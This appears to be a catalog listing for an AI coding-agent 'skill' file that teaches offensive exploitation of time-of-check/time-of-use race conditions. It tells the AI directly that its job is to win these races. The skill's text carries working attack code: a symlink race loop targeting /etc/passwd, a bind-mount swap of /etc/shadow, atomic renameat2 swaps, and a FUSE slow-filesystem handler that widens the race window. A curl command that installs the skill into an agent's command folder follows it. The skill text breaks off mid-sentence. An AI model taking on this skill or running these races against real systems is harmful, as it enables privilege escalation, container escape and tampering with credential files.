LLM Skills
~/catalog/automated workflows//SKILL
Automated workflowsGitHub source

Offensive toctou

/SKILL

Time-of-Check / Time-of-Use (TOCTOU) race condition exploitation methodology across binary, kernel, filesystem, web, and container layers.

SnailSploitSnailSploit
2.8k
May 8, 2026
MIT License
// skill content

--- name: offensive-toctou description: "Time-of-Check / Time-of-Use (TOCTOU) race condition exploitation methodology across binary, kernel, filesystem, web, and container layers. Covers symbolic-link races (open/access/stat split), file-descriptor races, fopen/realpath traversal races, /proc and procfs races, FUSE-backed slow-fs races to widen the window, ptrace and signal races, kernel double-fetch / userspace pointer races, container/runc/symlink escape primitives, Kubernetes admission/authz TOCTOU, web auth-vs-authz TOCTOU, JWT-claim TOCTOU at the gateway vs. the service, payment/idempotency races, and modern race-amplification techniques (single-packet attack, Slow Loris, FUSE pause, cgroup freeze, scheduler shaping). Use this when you’ve identified a “check then act” pattern in code, when fuzzing for race conditions, or when exploiting concurrency bugs in privileged binaries, the kernel, or orchestrators." --- # TOCTOU : Time-of-Check / Time-of-Use Exploitation A TOCTOU bug exists whenever code checks a property (file owner, target path, token validity, balance) and then acts on it as if the property still holds. There is a window between the check and the use:your job is to widen this window and swap the underlying object. ## Quick Workflow 1. Identify the check (syscall, function, validation step) and the use (the privileged action) 2. Confirm that the check and use do not operate on the same kernel object (FD, inode, atomic snapshot) 3. Build a primitive that swaps the object between the check and the use (symlink, mount, mv, parallel request) 4. Widen the window using FUSE, slow filesystems, scheduler tricks, or single-packet HTTP/2 5. Run a tight loop and confirm that the post-use state corresponds to the swapped target --- ## The Core Pattern ``c // Vulnerable if (access(path, W_OK) == 0) { // check : resolves "path" now fd = open(path, O_WRONLY); // use : re-resolves "path" later write(fd, attacker_data, n); } Between access and open, an attacker replaces path with a symlink to /etc/shadow. The check sees an attacker-owned file; the use opens shadow as root. The fix is always: **operate on the kernel object, not the path.** Use O_NOFOLLOW, openat with ATSYMLINKNOFOLLOW, fstat on the FD, etc. --- ## Filesystem TOCTOU ### Symlink Swap (Classic) bash # Setup target : privileged binary that writes to user-supplied path after access() check victim --output /tmp/.attacker/output # Race loop while true; do ln -sf /etc/passwd /tmp/.attacker/output 2>/dev/null ln -sf /tmp/.attacker/legit /tmp/.attacker/output 2>/dev/null done & # Run victim repeatedly while true; do victim --output /tmp/.attacker/output; done ### renameat2(RENAME_EXCHANGE) : Atomic Single-Frame Swap c syscall(SYS_renameat2, AT_FDCWD, "good", AT_FDCWD, "bad", RENAME_EXCHANGE); RENAME_EXCHANGE swaps two paths atomically : combined with FUSE-paused dir lookups, this is a near-deterministic primitive on Linux ≥ 3.15. ### Directory Swap (mv between two prepared trees) When the victim resolves parent/file, swap parent itself: bash mv good_dir parent && mv evil_dir parent_was_good_dir # If victim is mid-resolution of parent/file, dir cache may pin one side ### Bind Mount / Mount-Namespace Swap (root-only or in user-ns) bash unshare -mUr mkdir /tmp/x /tmp/y echo benign > /tmp/x/file mount --bind /etc/shadow /tmp/y/file # Then: while true; do mount --move /tmp/x /tmp/m; mount --move /tmp/y /tmp/m; done In containerized contexts with CAPSYSADMIN in a user namespace, this is the foundation of multiple runc/CVE escape chains. --- ## Window-Widening Primitives The race is always winnable in theory; in practice you need the window large enough for your swap. ### FUSE-Backed Slow Filesystem Mount a FUSE filesystem you control. When the victim does open or stat, your handler sleeps: python # fusepy class SlowFS(Operations): def getattr(self, path, fh=None): if path == '/trigger': time.sleep(5) # stretch the check return os.lstat(self.root + path).__dict__ `` Now the check call inside the victim blocks for 5 seconds:plenty of time to swap the post-check fil

// original public source
SnailSploit/Claude-Red
/Skills/exploit-dev/offensive-toctou/SKILL.md
License: MIT License
Independent project, not affiliated with Anthropic. This skill remains the property of its original author.
// install this skill
Paste this command in your terminal at the root of your project:
mkdir -p .claude/commands && curl -o ".claude/commands/SKILL.md" "https://raw.githubusercontent.com/SnailSploit/Claude-Red/main/Skills/exploit-dev/offensive-toctou/SKILL.md"
Then in Claude Code, type /SKILL to activate it.
open_in_newOpen original source
// save
Save available after sign in.
loginSign in to save
// information
Stars 2.8k
LicenseMIT License
UpdatedMay 8, 2026
Format.md
AccessFree
// similar

Skills Automated workflows

View allarrow_forward